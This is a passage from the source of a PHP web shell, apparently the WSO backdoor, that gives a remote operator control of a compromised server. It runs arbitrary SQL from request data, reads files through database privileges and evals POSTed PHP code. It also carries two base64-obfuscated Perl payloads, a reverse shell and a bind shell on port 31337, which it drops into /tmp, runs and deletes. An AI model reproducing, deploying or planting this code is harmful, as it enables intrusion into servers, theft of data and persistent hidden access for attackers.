1170 function fs(f) {
1171 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1172 if(f.p1) f.p1.value='';
1173 if(f.p2) f.p2.value='';
1174 if(f.p3) f.p3.value='';
1175 }
1176 }
1177 function st(t,l) {
1178 d.sf.p1.value = 'select';
1179 d.sf.p2.value = t;
1180 if(l && d.sf.p3) d.sf.p3.value = l;
1181 d.sf.submit();
1182 }
1183 function is() {
1184 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1185 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1186 }
1187 </script>";
1188 if (isset($db) && $db->link) {
1189 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1190 if (!empty($_POST['sql_base'])) {
1191 $db->selectdb($_POST['sql_base']);
1192 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1193 $tbls_res = $db->listTables();
1194 while ($item = $db->fetch($tbls_res)) {
1195 list($key, $value) = each($item);
1196 if (!empty($_POST['sql_count'])) $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1197 $value = htmlspecialchars($value);
1198 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
1199 }
1200 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1201 if (@$_POST['p1'] == 'select') {
1202 $_POST['p1'] = 'query';
1203 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
1204 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1205 $num = $db->fetch();
1206 $pages = ceil($num['n'] / 30);
1207 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1208 echo " of $pages";
1209 if ($_POST['p3'] > 1) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
1210 if ($_POST['p3'] < $pages) echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
1211 $_POST['p3']--;
1212 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1213 else $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1214 echo "<br><br>";
1215 }
1216 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1217 $db->query(@$_POST['p2']);
1218 if ($db->res !== false) {
1219 $title = false;
1220 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1221 $line = 1;
1222 while ($item = $db->fetch()) {
1223 if (!$title) {
1224 echo '<tr>';
1225 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1226 reset($item);
1227 $title = true;
1228 echo '</tr><tr>';
1229 $line = 2;
1230 }
1231 echo '<tr class="l' . $line . '">';
1232 $line = $line == 1 ? 2 : 1;
1233 foreach ($item as $key => $value) {
1234 if ($value == null) echo '<td><i>null</i></td>';
1235 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1236 }
1237 echo '</tr>';
1238 }
1239 echo '</table>';
1240 } else {
1241 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1242 }
1243 }
1244 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1245 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) echo htmlspecialchars($_POST['p2']);
1246 echo "</textarea><br/><input type=submit value='Execute'>";
1247 echo "</td></tr>";
1248 }
1249 echo "</table></form><br/>";
1250 if ($_POST['type'] == 'mysql') {
1251 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1252 if ($db->fetch()) echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1253 }
1254 if (@$_POST['p1'] == 'loadfile') {
1255 $file = $db->loadFile($_POST['p2']);
1256 echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1257 }
1258 } else {
1259 echo htmlspecialchars($db->error());
1260 }
1261 echo '</div>';
1262 wsoFooter();
1263 }
1264 function actionNetwork() {
1265 wsoHeader();
1266 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1267 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1268 echo "<h1>Network tools</h1><div class=content>
1269 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1270 <span>Bind port to /bin/sh [perl]</span><br/>
1271 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1272 </form>
1273 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1274 <span>Back-connect [perl]</span><br/>
1275 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1276 </form><br>";
1277 if (isset($_POST['p1'])) {
1278 function cf($f, $t) {
1279 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1280 if ($w) {
1281 @fwrite($w, base64_decode($t));
1282 @fclose($w);
1283 }
1284 }
1285 if ($_POST['p1'] == 'bpp') {
1286 cf("/tmp/bp.pl", $bind_port_p);
1287 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1288 sleep(1);
1289 echo "<pre class=ml1>$out
1290" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1291 unlink("/tmp/bp.pl");
1292 }
1293 if ($_POST['p1'] == 'bcp') {
1294 cf("/tmp/bc.pl", $back_connect_p);
1295 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1296 sleep(1);
1297 echo "<pre class=ml1>$out
1298" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1299 unlink("/tmp/bc.pl");
1300 }
1301 }
1302 echo '</div>';
1303 wsoFooter();
1304 }
1305 function actionRC() {
1306 if (!@$_POST['p1']) {
1307 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => WSO_VERSION, "safemode" => @ini_get('safe_mode'));
1308 echo serialize($a);
1309 } else {
1310 eval($_POST['p1']);
1311 }
1312 }
1313 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1314 else $_POST['a'] = 'SecInfo';
1315 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1316 exit;